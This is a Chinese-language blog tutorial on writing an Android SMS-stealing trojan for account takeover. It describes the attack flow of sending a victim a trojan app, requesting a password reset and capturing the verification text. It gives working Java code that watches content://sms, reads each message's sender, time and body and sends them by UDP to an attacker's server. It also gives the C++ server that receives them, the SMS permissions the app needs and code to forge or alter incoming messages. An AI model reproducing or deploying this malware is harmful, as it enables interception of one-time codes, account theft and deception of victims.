项目写时间长了,出来散散心。
拦截马
主要是用来拦截短信,主要是黑客用来实现所谓的盗号所设计的。
思路比较简单。
- 首先先给受害者发送可以劫持短信的APP木马
- 受害者打开木马APP
- 攻击者申请更换密码
- 收到短信,劫持到短信信息
- 可根据需要,攻击者更换原先短信的内容
思路比较简单,但是有两点是核心,一是如何劫持短信,劫持到短信攻击者如何进行获取。
先看下劫持的效果。
测试,所以我使用的是安卓模拟器:
- 一台服务器
- 安卓虚拟机
就和动图中的一样,就是受害者打开手机存在木马的手机APP,当接受到或者发送短信的时候就会被我们拦截到。
劫持短信
这里我提供一个比较简单的方法,也是比较官方的一个方法,就是在安卓信息发送和接受的时候,短信APP会使用内容提供者给内容解析的APP一个消息,会让存在内容解析的APP响应ContentObserver
子类对应的onChange
方法。然后通过Socket发送给我们木马的接收服务器,就实现一次攻击。
服务端编写
这个一般是用来放在服务器上的,所以我就用C++来写了,界面很简单,就是基本的画一下,一个ListBox
就可以了。
服务端的代码,基本没什么难度,就是一个简单的Socket程序,我这里用的是UDP,用TCP的话呢,对于这种程序,感觉会有点傻,基本的实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| UINT MyThread(LPVOID lparm) { ClanjiemaServiceDlg * dlg= (ClanjiemaServiceDlg *)lparm;
WSAData wSd; SOCKET soRecv; char* pszRecv = NULL; int nRet = 0; int dwSendSize = 0; SOCKADDR_IN siRemote,siLocal;
if (WSAStartup(MAKEWORD(2,2),&wSd) != 0) return 0;
soRecv = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); if (soRecv == SOCKET_ERROR) { WSACleanup(); return 0; } siLocal.sin_family = AF_INET; siLocal.sin_port = htons(6666); siLocal.sin_addr.s_addr = INADDR_ANY; if (bind(soRecv,(SOCKADDR*)&siLocal,sizeof(siLocal)) == SOCKET_ERROR) { WSACleanup(); return 0; } try { pszRecv = new char[4096]; } catch (CException* e) { AfxMessageBox("初始化内存失败!"); } memset(pszRecv,0,4096); dwSendSize = sizeof(siRemote); while((nRet = recvfrom(soRecv,pszRecv,4096,0,(SOCKADDR*)&siRemote,&dwSendSize)) != SOCKET_ERROR) { pszRecv[nRet]='\0'; CString s; s.Format("%s : %s",inet_ntoa(siRemote.sin_addr),pszRecv); dlg->m_ListBox.AddString(s); } closesocket(soRecv); delete[] pszRecv; WSACleanup(); return 1;
}
BOOL ClanjiemaServiceDlg::OnInitDialog() { CDialogEx::OnInitDialog();
SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE);
AfxBeginThread(MyThread,(LPVOID)this);
return TRUE; }
|
简单的说一下,在OnInitDialog
中启动我们的Socket线程,用来接受我们的信息,Socket这块基本没什么变数,就是照葫芦画瓢,不愿意写的直接复制就好了。
木马编写
首先我们先要实现java层的实现UDP协议的发送,基本也就是照葫芦画瓢,首先我们写一个方法,用来将我们构造的String字符串发送给我们的服务端。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private void SendNetMessage(String str) { sMessage = str; new Thread(){ @Override public void run() { Log.d("wker", sMessage); DatagramSocket socket = null; DatagramPacket packet = null; try { socket = new DatagramSocket(); packet = new DatagramPacket(sMessage.getBytes("GBK"),sMessage.getBytes("GBK").length,InetAddress.getByName("XXX.XXX.XXX.XXX"),6666); socket.send(packet); socket.close(); } catch (IOException e) { } }; }.start(); }
|
我定义了一个静态字符串,用来转储字符串的,然后安卓高版本是不支持在主线程进行网络操作的,我们就写个新的线程,用来专门发送数据,这里需要注意的是,我们需要在AndroidManifest.xml
中配置一个权限:
1
| <uses-permission android:name="android.permission.INTERNET" />
|
这个权限就是操作网络用到的。
这里有一个坑,搞得当时我有点烦,就是java默认的是宽字节,但是Windows中的那个recvfrom
第二个参数是char*就有点烦,测试的时候我发的时候总是会丢失一些字节,我一开始以为是C++写的时候有错误,一直在找,然后怎么也解决不了,我就浏览内存找,怎么也没找到bug,后来就调试了一下java,发现String.length()
返回的是宽字节个数,但是我声明的时候明明传的给的”GBK”这个参数,我也没搞明白,然后我一开始想到的解决办法是,无非就是中文字符占两个有点难搞,我就用正则匹配得出中文个数,然后将length加上这个中文个数,确实是正常的,但是我总感觉怪怪的,后来我就改成了sMessage.getBytes("GBK").length
,这个就没什么问题了。
写完了发送函数,就该写拦截短信的方法了,继承ContentObserver
这个类,重写onChange
方法。
在onCreate
方法中,我们先获取内容监听者的权限:
1 2 3
| mco = new MyObserver(new Handler()); Uri uri = Uri.parse("content://sms"); getContentResolver().registerContentObserver(uri, true, mco);
|
mco是一个私有变量:
1 2
| private MyObserver mco; private static String sMessage;
|
MyObserver这个使我们重写的类,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private class MyObserver extends ContentObserver { public MyObserver(Handler handler) { super(handler); } @Override public void onChange(boolean selfChange, Uri uri) { super.onChange(selfChange); if(!selfChange) { Cursor cursor = getContentResolver().query(uri, null, null, null, null); String body = null; String address=null; String date=null; while(cursor.moveToNext()) { body=cursor.getString(cursor.getColumnIndex("body")); address = cursor.getString(cursor.getColumnIndex("address")); date = cursor.getString(cursor.getColumnIndex("date")); } Date time = new Date(Long.parseLong(date)); SendNetMessage("发件人手机号:"+address+"发送时间:"+time+"发送数据:"+body); } } }
|
构造函数没什么,就传进来一个Handle对象,new一个给他就好了,在这里不重要。
在onCreate
方法中我们实例化一个这个对象,然后再new一个Uri对象,这个Uri对象是用来表示我们监听的对象,也就是sms这个短信,观察安卓源代码,他里面有这么一段:
1 2
| ContentResolver resolver = getContext().getContentResolver(); resolver.notifyChange(uri, null);
|
类似于这样的一段代码,就是用来通知这个监听器的,之前我以为这个监听是类似于HOOK的一个东西,原来不是。
我们构造Uri对象之后,然后就需要把这个我们自己的ContentObserver注册上去,getContentResolver().registerContentObserver(uri, true, mco);
,获取到这个单例对象之后使用注册的这个函数就可以了,第二个参数我们用true代表的是模糊匹配Uri。
在我们重写的onChange
方法中,我们得到Uri对象之后,通过内容解析出这个Uri所对应的Cursor对象,以此来查询短信这个APP中的数据库,主要有这三个比较重要的字段:
字段 |
含义 |
body |
短信的内容 |
address |
短信的提供者 |
date |
短信的格林尼治时间戳 |
其实还有个Type这个字段,我没写上去,这个的话呢代表是发送还是接受,我懒得写了就没增加判断。
然后遍历出来我们的数据之后,然后通过之前我们写好的那个函数就可以进行数据的收发了。
但是要注意的是,这个时候还是不可以的,我们需要给我们的APP增加几个权限:
1 2 3 4
| <uses-permission android:name="android.permission.SEND_SMS"></uses-permission> <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> <uses-permission android:name="android.permission.READ_SMS"></uses-permission> <uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
|
也就是SMS需要的权限,可以尝试一些是否可以进行劫持接受的短信,我们可以写这样的一段代码:
1 2 3 4 5 6 7 8
| ContentResolver contentResolver = getContentResolver(); Uri uri = Uri.parse("content://sms"); ContentValues values = new ContentValues(); values.put("body", "Wker通知:高等数学不学好,考研就要买医保"); values.put("address", "10086"); values.put("type", "1"); values.put("date", System.currentTimeMillis()); contentResolver.insert(uri, values);
|
这个是模拟短信的接受,同样我们可以进行一个简单的测试:
可以看到我们同样拦截到了。
程序的优化
- 在java层,如果我们真正的想要进行一个欺骗,我们可以选择先更改我们的接收到的短信的内容,其实这个也是可以做到的,而且不是很难。
- 增加对type类型的判断,判断是不是要进行接受和发送的判断